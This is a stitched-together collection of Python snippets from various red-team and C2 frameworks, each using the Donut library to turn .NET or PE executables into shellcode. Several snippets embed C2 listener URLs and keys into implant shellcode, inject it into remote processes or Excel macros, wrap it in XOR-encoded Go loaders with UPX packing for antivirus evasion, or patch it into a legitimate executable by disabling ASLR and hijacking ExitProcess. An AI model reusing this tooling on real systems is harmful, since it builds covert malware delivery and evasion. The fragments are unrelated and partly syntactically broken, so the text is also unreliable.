def CreateDonutShellcodeFile(self, payloadtype, name=""): if payloadtype == PayloadType.Posh_v2: sourcefile = "dropper_cs_ps_v2.exe" elif payloadtype == PayloadType.Posh_v4: sourcefile = "dropper_cs_ps_v4.exe" elif payloadtype == PayloadType.PBind: sourcefile = "dropper_cs_ps_pbind_v4.exe" elif payloadtype == PayloadType.Sharp: sourcefile = "dropper_cs.exe" elif payloadtype == PayloadType.PBindSharp: sourcefile = "pbind_cs.exe" shellcode32 = donut.create(file=f"{self.BaseDirectory}{name}{sourcefile}", arch=1) if shellcode32: output_file = open(f"{self.BaseDirectory}{name}{payloadtype.value}_Donut_x86_Shellcode.bin", 'wb') output_file.write(shellcode32) output_file.close() self.QuickstartLog("Payload written to: %s%s%s_Donut_x86_Shellcode.b64" % (self.BaseDirectory, name, payloadtype.value)) output_file = open(f"{self.BaseDirectory}{name}{payloadtype.value}_Donut_x86_Shellcode.b64", 'w') output_file.write(base64.b64encode(shellcode32).decode("utf-8")) output_file.close() self.QuickstartLog("Payload written to: %s%s%s_Donut_x86_Shellcode.bin" % (self.BaseDirectory, name, payloadtype.value)) shellcode64 = donut.create(file=f"{self.BaseDirectory}{name}{sourcefile}", arch=2) if shellcode64: output_file = open(f"{self.BaseDirectory}{name}{payloadtype.value}_Donut_x64_Shellcode.bin", 'wb') output_file.write(shellcode64) output_file.close() self.QuickstartLog("Payload written to: %s%s%s_Donut_x64_Shellcode.b64" % (self.BaseDirectory, name, payloadtype.value)) output_file = open(f"{self.BaseDirectory}{name}{payloadtype.value}_Donut_x64_Shellcode.b64", 'w') output_file.write(base64.b64encode(shellcode64).decode("utf-8")) output_file.close() self.QuickstartLog("Payload written to: %s%s%s_Donut_x64_Shellcode.bin" % (self.BaseDirectory, name, payloadtype.value))
def run(self): # file = self.param(FILE_OPTION.get('name')) # pe_file_path = MsfFile.absolute_path(file.get("name")) pe_file_path = self.get_option_filepath() if pe_file_path is None: self.log_error("非docker部署不支持此模块,请使用原版donut工具") return arch = self.param("ARCH") params = self.param("ARGUMENTS") cls = self.param("cls") method = self.param("method") if params is None: params = "" try: if cls is not None and method is not None: self.log_status(".NET DLL 模式") shellcode = donut.create( file=pe_file_path, arch=arch, cls=cls, method=method, params=params, ) else: shellcode = donut.create( file=pe_file_path, arch=arch, params=params, ) except Exception as E: self.log_error("donut运行异常!") self.log_except(E) return if shellcode is None: self.log_error("donut无法转换此文件!") return if self.param("shellcodefilename") is not None: output_filename = "{}.bin".format(self.param("shellcodefilename")) else: output_filename = "{}.bin".format( os.path.splitext(self.get_option_filename())[0]) if FileMsf.write_msf_file(output_filename, shellcode): self.log_good("转换完成,新文件名 : {}".format(output_filename)) else: self.log_error("shellcode写入文件失败") try: os.remove("loader.bin") except Exception as E: print(E)
def payload(self): listener = ipc_server.publish_event( Events.GET_LISTENERS, (self.options['Listener']['Value'], )) if listener: c2_urls = ','.join( filter(None, [ f"{listener.name}://{listener['BindIP']}:{listener['Port']}", listener['CallBackURls'] ])) guid = uuid.uuid4() psk = gen_stager_psk() ipc_server.publish_event(Events.SESSION_REGISTER, (guid, psk)) donut_shellcode = donut.create( file=get_path_in_package('core/teamserver/data/naga.exe'), params=f"{guid};{psk};{c2_urls}", arch=2 if self.options['Architecture']['Value'] == 'x64' else 1) shellcode = shellcode_to_hex_byte_array(donut_shellcode) with open( get_path_in_package( 'core/teamserver/modules/boo/src/excel4dcom.boo') ) as module_src: src = module_src.read() src = src.replace('SHELLCODE', shellcode) src = src.replace('TARGET', self.options['Target']['Value']) src = src.replace('ARCH', self.options['Architecture']['Value']) return src else: print_bad( f"Listener '{self.options['Listener']['Value']}' not found!")
async def donut_handler(services, args): """Handle donut special payloads Creates .donut files from the .donut.exe files created by the builder plugin :param services: CALDERA services :type services: dict :param args: HTTP request arguments :type args: multidict :return: Payload, display name :rtype: string, string """ donut_file = args.get('file') exe_path = await _get_exe_path(services, donut_file) if exe_path: donut_dir, _ = os.path.split(exe_path) donut_path = os.path.join(donut_dir, donut_file) parameters = await _get_parameters(services.get('data_svc'), donut_file, args.get('X-Link-Id')) shellcode = donut.create(file=exe_path, params=parameters) _write_shellcode_to_file(shellcode, donut_path) else: print( '[!] No executable found for donut payload: {}'.format(donut_file)) return donut_file, donut_file
def payload(self): listener = ipc_server.publish_event( events.GET_LISTENERS, (self.options['Listener']['Value'], )) if listener: c2_urls = ','.join( filter(None, [ f"{listener.name}://{listener['BindIP']}:{listener['Port']}", listener['CallBackURls'] ])) guid = uuid.uuid4() psk = gen_stager_psk() ipc_server.publish_event(events.SESSION_REGISTER, (guid, psk)) donut_shellcode = donut.create( file='./core/teamserver/data/naga.exe', params=f"{guid};{psk};{c2_urls}", arch=2 if self.options['Architecture']['Value'] == 'x64' else 1) shellcode = shellcode_to_int_byte_array(donut_shellcode) #if self.options['InjectionMethod']['Value'] == 'InjectRemote': with open('core/teamserver/modules/boo/src/injectremote.boo', 'r') as module_src: src = module_src.read() src = src.replace('BYTES', shellcode) src = src.replace('PROCESS', self.options['Process']['Value']) return src else: print_bad( f"Listener '{self.options['Listener']['Value']}' not found!")
def generate(self, listener): with open(get_path_in_package('core/teamserver/data/naga.exe'), 'rb') as assembly: guid = uuid.uuid4() psk = gen_stager_psk() c2_urls = ','.join( filter(None, [ f"{listener.name}://{listener['BindIP']}:{listener['Port']}", listener['CallBackURls'] ])) arch = 3 # User can specify 64-bit or 32-bit if self.options['Architecture']['Value'] == 'x64': arch = 2 elif self.options['Architecture']['Value'] == 'x86': arch = 1 donut_shellcode = donut.create( file=get_path_in_package('core/teamserver/data/naga.exe'), params=f"{guid};{psk};{c2_urls}", arch=arch) shellcode = shellcode_to_hex_string(donut_shellcode) return guid, psk, shellcode
def creador_de_donuts(Input_File, Output_File, Params, Arch, Bypass): shellcode = donut.create(file=str(Input_File), params=str(Params), arch=(Arch), bypass=(Bypass)) f = open(Output_File, "wb") f.write(shellcode) f.close() print(Color.YELLOW + '[+] Donut generated successfully: ' + args.Output_File)
async def donut_handler(services, args) -> (str, str): _, file_name = await services.get('file_svc').find_file_path( args.get('file'), location='payloads') dir_path, donut_ext = os.path.split(file_name) exe_path = os.path.join(dir_path, '%s.exe' % donut_ext.split('.')[0]) os.replace(src=file_name, dst=exe_path) shellcode = donut.create(file=exe_path) _write_shellcode_to_file(shellcode, exe_path) os.replace(src=exe_path, dst=file_name) return donut_ext, donut_ext # payload, display_name
def generateShellcode(args, arch): #In Donut x86=1 and amd64=2, not using x64+x86 since #sometimes compiling for "Any Computer" does weird things. if arch == "x86": donutArch = 1 else: donutArch = 2 #If user provided source code is a DLL, make sure update # the target param for MCS compilation if args.methodName: target = "library" else: target = "exe" #Generate random string for temp file storage randStr = ''.join( random.choice(string.ascii_letters) for x in range(random.randrange(6, 12))) randExeName = "_excelntdonut_" + randStr + ".exe" randBinName = "_excelntdonut_" + randStr + ".bin" #Using MCS to compile into .NET assembly print("[i] Generating your " + arch + " .NET assembly.") cmd = "mcs /unsafe /target:" + target + " /platform:" + arch + " /sdk:4 /out:" + randExeName if args.references: cmd += " /reference:" + args.references cmd += " " + args.inputFileName pipe = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = pipe.communicate() if stderr: if "error" in stderr.decode('utf-8'): print(stderr.decode('utf-8')) print("[x] Error in generating " + arch + " .NET assembly using MCS. See error message above.") sys.exit() #Using donut to transform into bin file (shellcode) #Note: not using Donut's AMSI bypass since XLM doesn't require it + in case it's signatured print("[i] Generating shellcode from " + arch + " .NET assembly file.") s = donut.create(file=randExeName, arch=donutArch, bypass=1, cls=args.className, method=args.methodName) os.system("rm " + randExeName) with open(randBinName, 'wb+') as f: f.write(s) return randBinName
def migrate(self, args=None): if config.get_pointer()=='main': print ("you can't use this command in main ! chose an agent") return global loaded shellcode=donut.create(file="payloads/dropper_cs.exe") fp = open('agents/Migrator.ninja', 'r') temp = fp.read() temp=temp.replace('{shellcode}',base64.b64encode(shellcode).decode("utf-8")).replace('{class}',"".join([random.choice(string.ascii_uppercase) for i in range(5)])) output=open('Modules/Migrator.ps1', 'w') output.write(temp) output.close() config.COMMAND[config.get_pointer()].append(encrypt(config.AESKey,"load Migrator.ps1"))
def generate_python_shellcode(self, posh_code, arch='both', dot_net_version='net40'): """ Generate ironpython shellcode using donut python module """ if arch == 'x86': arch_type = 1 elif arch == 'x64': arch_type = 2 elif arch == 'both': arch_type = 3 directory = self.generate_python_exe(posh_code, dot_net_version) shellcode = donut.create(file=directory, arch=arch_type) return shellcode
def generate_python_shellcode(self, posh_code, arch="both", dot_net_version="net40"): """ Generate ironpython shellcode using donut python module """ if arch == "x86": arch_type = 1 elif arch == "x64": arch_type = 2 elif arch == "both": arch_type = 3 directory = self.generate_python_exe(posh_code, dot_net_version) shellcode = donut.create(file=directory, arch=arch_type) return shellcode
def generate(self, listener): guid = uuid.uuid4() psk = gen_stager_psk() c2_urls = ','.join( filter(None, [f"{listener.name}://{listener['BindIP']}:{listener['Port']}", listener['CallBackURls']]) ) #Determine which architecture to use. #Default is amd64+86 (dual-mode) arch = 3 #User can specify 64-bit or 32-bit if self.options['Architecture']['Value'] == 'x64': arch = 2 elif self.options['Architecture']['Value'] == 'x86': arch = 1 # Create the shellcode using donut donut_shellcode = donut.create(file=get_path_in_package('core/teamserver/data/naga.exe'), params=f"{guid};{psk};{c2_urls}", arch=arch) if self.options['Format']['Value'] == 'raw': try: f = open("shellcode.bin", "wb") f.write(donut_shellcode) f.close() with open(get_path_in_package('../shellcode.bin'), 'rb') as bin: return guid, psk, bin.read().decode('latin-1') finally: os.remove("shellcode.bin") elif self.options['Format']['Value'] == 'int': shellcode = shellcode_to_int_byte_array(donut_shellcode) return guid, psk, shellcode elif self.options['Format']['Value'] == 'hex': shellcode = shellcode_to_hex_byte_array(donut_shellcode) return guid, psk, shellcode
import donut import argparse import os import base64 if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("-f", "--filename", action="store", help="input file") parser.add_argument("-o", "--output", action="store", help="output file") args = parser.parse_args() if not args.output or not args.filename: parser.print_help() exit() shellcode = donut.create(file=args.filename) payload = base64.b64encode(shellcode) text_file = open(args.output, 'w') text_file.write(payload.decode('utf-8')) text_file.close
def generateShellcode(args, arch): #In Donut x86=1 and amd64=2, not using x64+x86 since #sometimes compiling for "Any Computer" does weird things. if arch == "x86": donutArch = 1 else: donutArch = 2 #If user provided source code is a DLL, make sure update # the target param for MCS compilation if args.methodName: target = "library" else: target = "exe" #Generate random string for temp file storage randStr = ''.join(random.choice(string.ascii_letters) for x in range(random.randrange(6, 12))) randExeName = "_excelntdonut_" + randStr + ".exe" randBinName = "_excelntdonut_" + randStr + ".bin" randBinName2 = "_excelntdonut_" + randStr + "2.bin" #Using MCS to compile into .NET assembly print("[i] Generating your " + arch + " .NET assembly.") cmd = "mcs /unsafe /target:" + target + " /platform:" + arch + " /sdk:4 /out:" + randExeName if args.references: cmd += " /reference:" + args.references cmd += " " + args.inputFileName pipe = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = pipe.communicate() if stderr: if "error" in stderr.decode('utf-8'): print(stderr.decode('utf-8')) print("[x] Error in generating " + arch + " .NET assembly using MCS. See error message above.") sys.exit() #Using donut to transform into bin file (shellcode) #Note: not using Donut's AMSI bypass since XLM doesn't require it + in case it's signatured print("[i] Generating shellcode from " + arch + " .NET assembly file.") s = donut.create(file=randExeName, arch=donutArch, bypass=1, cls=args.className, method=args.methodName) os.system("rm " + randExeName) with open(randBinName,'wb+') as f: f.write(s) #Using msfvenom to remove nullbytes from shellcode (XLM won't support nullbytes) #This might take a while to run. #Consider updating to just arch/xor_dynamic encoder since seems to work best print("[i] Removing null bytes from " + arch + " shellcode with msfvenom") cmd = "cat " + randBinName + " | msfvenom -p - -a " + arch + " --platform windows -b '\\x00' -f raw -o " + randBinName2 os.system(cmd) pipe = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE) stdout, stderr = pipe.communicate() #Make sure virtualloc enough space. Default to 65536. #Suppose we could make the size dynamic. try: payloadSize = int(stderr.split(b"Payload size: ")[1].split(b" bytes")[0].decode('utf-8')) size = 65536 while payloadSize > size: size *= 2 except: print("[x] Error removing null bytes.") print(stderr) sys.exit() os.system("rm " + randBinName) #Read in shellcocde file (no null bytes) and create string print("[i] Null bytes removed for " + arch + ".") with open(randBinName2,'rb') as f: binary = f.read().decode('ISO-8859-1') os.system("rm " + randBinName2) #Create EXCEL string with CHAR() for shellcode #Max 255 per cell, so chunk, then process into =CHAR(2)&CHAR(234) format #https://gist.githubusercontent.com/Arno0x/1ec189d6bee3e92fdef1d72a72899b1d/raw/b97a190d4b88c502347d074b08d624a76621b314/transformFile.py column = '' count = 1 if arch == "x86": chunkSize = 255 else: chunkSize = 10 for chunk in chunks(binary, chunkSize): column += '=' for b in chunk: column += 'CHAR({})&'.format(ord(b)) column = column[0:-1] + '\r\n' count += 1 column += 'excel\r\n' count += 1 count = str(count) return column, size, count
arch = "x64" donut_id = 2 elif sys.argv[2] == "x86": arch = "x86" donut_id = 1 except: pass # PARSE FILENAME (TAKES FULL PATH AND CURRENT DIR) filename = os.fspath(sys.argv[1]) print(f"[!] Generating {arch} shellcode from file:\n {filename}") files = [f for f in os.listdir('.') if os.path.isfile(f)] if filename not in files: sc = donut.create(file=filename, arch=donut_id) if sc is None: print(f"\n[-] Cannot find file:\n {filename}\n\ Ensure that file is either in current directory or full path is specified!" ) sys.exit(1) else: sc = donut.create(file=filename, arch=donut_id) # WRITE SHELLCODE head, tail = ntpath.split(filename) sc_filename = tail.split('.')[0] + '{}'.format(arch) + '.bin' sc_filepath = os.path.join(os.getcwd(), sc_filename) filesc = open(sc_filepath, 'wb') length = filesc.write(sc) filesc.close()
def generate(self): self.options.pop("Output", None) # clear the previous output # staging options language = self.options["Language"]["Value"] user_agent = self.options["UserAgent"]["Value"] proxy = self.options["Proxy"]["Value"] proxy_creds = self.options["ProxyCreds"]["Value"] stager_retries = self.options["StagerRetries"]["Value"] listener_name = self.options["Listener"]["Value"] stager_retries = self.options["StagerRetries"]["Value"] dot_net_version = self.options["DotNetVersion"]["Value"] bypasses = self.options["Bypasses"]["Value"] obfuscate = self.options["Obfuscate"]["Value"] obfuscate_command = self.options["ObfuscateCommand"]["Value"] outfile = self.options["OutFile"]["Value"] arch = self.options["Architecture"]["Value"] if not self.mainMenu.listeners.is_listener_valid(listener_name): # not a valid listener, return nothing for the script return "[!] Invalid listener: " + listener_name else: obfuscate_script = False if obfuscate.lower() == "true": obfuscate_script = True # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher( listener_name, language=language, encode=False, obfuscate=obfuscate_script, obfuscationCommand=obfuscate_command, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, stagerRetries=stager_retries, bypasses=bypasses, ) if launcher == "": return "[!] Error in launcher generation." else: if not launcher or launcher.lower() == "failed": return "[!] Error in launcher command generation." if language.lower() == "powershell": shellcode = self.mainMenu.stagers.generate_powershell_shellcode( launcher, arch=arch, dot_net_version=dot_net_version ) return shellcode elif language.lower() == "csharp": if arch == "x86": arch_type = 1 elif arch == "x64": arch_type = 2 elif arch == "both": arch_type = 3 directory = f"{self.mainMenu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{launcher}.exe" shellcode = donut.create(file=directory, arch=arch_type) return shellcode elif language.lower() == "python": shellcode = self.mainMenu.stagers.generate_python_shellcode( launcher, arch=arch, dot_net_version=dot_net_version ) return shellcode else: return "[!] Invalid launcher language."
def generate(self): self.options.pop('Output', None) # clear the previous output # staging options language = self.options['Language']['Value'] user_agent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxy_creds = self.options['ProxyCreds']['Value'] stager_retries = self.options['StagerRetries']['Value'] listener_name = self.options['Listener']['Value'] stager_retries = self.options['StagerRetries']['Value'] dot_net_version = self.options['DotNetVersion']['Value'] bypasses = self.options['Bypasses']['Value'] obfuscate = self.options['Obfuscate']['Value'] obfuscate_command = self.options['ObfuscateCommand']['Value'] outfile = self.options['OutFile']['Value'] arch = self.options['Architecture']['Value'] if not self.mainMenu.listeners.is_listener_valid(listener_name): # not a valid listener, return nothing for the script return "[!] Invalid listener: " + listener_name else: obfuscate_script = False if obfuscate.lower() == "true": obfuscate_script = True # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher( listener_name, language=language, encode=False, obfuscate=obfuscate_script, obfuscationCommand=obfuscate_command, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, stagerRetries=stager_retries, bypasses=bypasses) if launcher == "": return "[!] Error in launcher generation." else: if not launcher or launcher.lower() == "failed": return "[!] Error in launcher command generation." if language.lower() == 'powershell': shellcode = self.mainMenu.stagers.generate_powershell_shellcode( launcher, arch=arch, dot_net_version=dot_net_version) return shellcode elif language.lower() == 'csharp': if arch == 'x86': arch_type = 1 elif arch == 'x64': arch_type = 2 elif arch == 'both': arch_type = 3 directory = f"{self.mainMenu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{launcher}.exe" shellcode = donut.create(file=directory, arch=arch_type) return shellcode elif language.lower() == 'python': shellcode = self.mainMenu.stagers.generate_python_shellcode( launcher, arch=arch, dot_net_version=dot_net_version) return shellcode else: return "[!] Invalid launcher language."
def generate( main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = "", ): # staging options listener_name = params["Listener"] pid = params["pid"] user_agent = params["UserAgent"] proxy = params["Proxy"] proxy_creds = params["ProxyCreds"] launcher_obfuscation_command = params["ObfuscateCommand"] language = params["Language"] dot_net_version = params["DotNetVersion"].lower() parentproc = params["parentproc"] arch = params["Architecture"] launcher_obfuscation = params["Obfuscate"] if not main_menu.listeners.is_listener_valid(listener_name): # not a valid listener, return nothing for the script return handle_error_message("[!] Invalid listener: " + listener_name) launcher = main_menu.stagers.generate_launcher( listener_name, language=language, encode=False, obfuscate=launcher_obfuscation, obfuscationCommand=launcher_obfuscation_command, userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds, ) if not launcher or launcher == "" or launcher.lower() == "failed": return handle_error_message("[!] Invalid listener: " + listener_name) if language.lower() == "powershell": shellcode = main_menu.stagers.generate_powershell_shellcode( launcher, arch=arch, dot_net_version=dot_net_version) elif language.lower() == "csharp": if arch == "x86": arch_type = 1 elif arch == "x64": arch_type = 2 elif arch == "both": arch_type = 3 directory = f"{main_menu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{launcher}.exe" shellcode = donut.create(file=directory, arch=arch_type) elif language.lower() == "python": if dot_net_version == "net35": return ( None, "[!] IronPython agent only supports NetFramework 4.0 and above.", ) shellcode = main_menu.stagers.generate_python_shellcode( launcher, arch=arch, dot_net_version="net40") base64_shellcode = helpers.encode_base64(shellcode).decode("UTF-8") compiler = main_menu.loadedPlugins.get("csharpserver") if not compiler.status == "ON": return None, "csharpserver plugin not running" # Convert compiler.yaml to python dict compiler_dict: Dict = yaml.safe_load(module.compiler_yaml) # delete the 'Empire' key del compiler_dict[0]["Empire"] # convert back to yaml string compiler_yaml: str = yaml.dump(compiler_dict, sort_keys=False) file_name = compiler.do_send_message(compiler_yaml, module.name) if file_name == "failed": return None, "module compile failed" script_file = (main_menu.installPath + "/csharp/Covenant/Data/Tasks/CSharp/Compiled/" + (params["DotNetVersion"]).lower() + "/" + file_name + ".compiled") script_end = f",/t:1 /pid:{pid} /f:base64 /sc:{base64_shellcode}" return f"{script_file}|{script_end}", None
#!/usr/bin/env python3 import donut import os import base64 import warnings warnings.filterwarnings("ignore", category=DeprecationWarning) # generate shellcode shellcode = donut.create(file="xc.exe") base64shellcode = base64.b64encode(shellcode) # place shellcode into load.go os.system("cp load.go load.go.bak") with open("load.go") as f: temp = f.read().replace('<base64shellcode>', base64shellcode.decode()) with open("load.go", "w") as f: f.write(temp) # compile & cleanup os.system("GOOS=windows GOARCH=amd64 go build -o xcs.exe load.go") os.system("rm loader.bin; rm xc.exe") os.system("upx xcs.exe -o xc.exe") os.system("cp load.go.bak load.go; rm load.go.bak; rm xcs.exe")
byte = key_tab[i%4] t = ch ^ byte encrypted += bytes([t]) i += 1 return encrypted if __name__ == "__main__": if len(sys.argv) < 2: print("Usage:", sys.argv[0], "<PE file>") print("Usage:", sys.argv[1], "dotNet") exit(-1) pefile = sys.argv[1] if sys.argv[1] == null payload = open(pefile, 'rb').read() else shellcode = donut.create(pefile) print("[*] Encrypting payload...") encrypted = xor(payload) print("[*] Compressing payload...") encrypted = zlib.compress(encrypted) print("[*] Generating source file...") encrypted = ''.join(format(c, '02x') for c in encrypted) plain = payload[0:10] known_bytes = ''.join(format(c, '02x') for c in plain) source = stub_go.peloader.format(encrypted, known_bytes) repl = '''/* #cgo CFLAGS: -IMemoryModule #cgo LDFLAGS: MemoryModule/build/MemoryModule.a #include "MemoryModule/MemoryModule.h"
temp = [] for i in range(0, len(data)): temp.append(data[i] ^ key[i % len(key)]) encrypted = bytes(temp) encoded = base64.b64encode(encrypted) return encoded if __name__ == "__main__": parser = argparse.ArgumentParser( description='Adds AV evasion to PE files)') parser.add_argument('infile', type=str, help='input file (shellcode)') parser.add_argument('outfile', type=str, help='output file (executeable)') args = parser.parse_args() shellcode = donut.create(file=args.infile) os.system("cp load.go load.go.bak") with open("load.go") as f: temp = f.read() temp = temp.replace('§shellcode§', bake(shellcode).decode()) temp = temp.replace('§key§', base64.b64encode(key).decode()) pattern = r"§(.*)§" matches = re.finditer(pattern, temp, re.MULTILINE) for matchNum, match in enumerate(matches, start=1): placeholder = match.group() temp = temp.replace( placeholder, bake(bytes(placeholder.replace('§', ''), encoding='utf8')).decode())
def inject_payload(target, payload, output): global LOADER_SHELLCODE if not is_payload_valid(payload): print("Error: Payload needs to be relocatable.") return if not is_target_valid(target): print( "Error: No executable section found that has enough slack space.") return payload = donut.create(file=payload, arch=1) if not payload: print("Error: Payload couldn't be turned into shellcode.") return pe = pefile.PE(target) code_section_index = get_appropriate_section_index(pe) last_section_index = pe.FILE_HEADER.NumberOfSections - 1 file_alignment = pe.OPTIONAL_HEADER.FileAlignment # Let's increase the size of the code section code_section = pe.sections[code_section_index] old_end_of_code_offset = code_section.PointerToRawData + code_section.Misc_VirtualSize code_section.Misc_VirtualSize += len(LOADER_SHELLCODE) # Let's make room for our payload in the last section old_section_end = pe.sections[ last_section_index].PointerToRawData + pe.sections[ last_section_index].SizeOfRawData pe.sections[last_section_index].Misc_VirtualSize = align( pe.sections[last_section_index].Misc_VirtualSize + len(payload), file_alignment) pe.sections[last_section_index].SizeOfRawData = align( pe.sections[last_section_index].SizeOfRawData + len(payload), file_alignment) pe.OPTIONAL_HEADER.SizeOfImage = pe.sections[ last_section_index].Misc_VirtualSize + pe.sections[ last_section_index].VirtualAddress pe.merge_modified_section_data() # We need to resize the file next to have enough space pe = save_and_reload_pe_image(pe, "stage1_sections_resized.exe", True) # Disable ASLR pe.OPTIONAL_HEADER.DllCharacteristics &= ~pefile.DLL_CHARACTERISTICS[ "IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE"] # Redirect ExitProcess to our shellcode loader call_target = struct.pack("<I", get_iat_entry(pe, "kernel32", b"ExitProcess")) shellcode_target = struct.pack("<I", offset_to_va(pe, old_end_of_code_offset)) search_pattern = b'\xff\x25' + call_target replace_pattern = b'\x68' + shellcode_target + b'\xc3' # PUSH shellcode_target; RET pe.set_bytes_at_rva( code_section.VirtualAddress, code_section.get_data().replace(search_pattern, replace_pattern)) pe.merge_modified_section_data() pe = save_and_reload_pe_image(pe, "stage2_execution_flow_redirected.exe") # Place our shellcodified payload in the new space at the end of the old last section pe.set_bytes_at_offset(old_section_end, payload) pe.merge_modified_section_data() # Figure out where our payload is located and patch loader in payload_address = struct.pack("<I", offset_to_va(pe, old_section_end)) LOADER_SHELLCODE = LOADER_SHELLCODE.replace(struct.pack("<I", 0xDEADF00D), payload_address) LOADER_SHELLCODE = LOADER_SHELLCODE.replace( struct.pack("<I", 0xDEADFEED), struct.pack("<I", len(payload))) pe.set_bytes_at_offset(old_end_of_code_offset, LOADER_SHELLCODE) pe.merge_modified_section_data() pe = save_and_reload_pe_image(pe, "stage3_shellcodes_patched_in.exe") # # Fix the checksum and write it out pe.OPTIONAL_HEADER.CheckSum = pe.generate_checksum() pe.write(filename=output)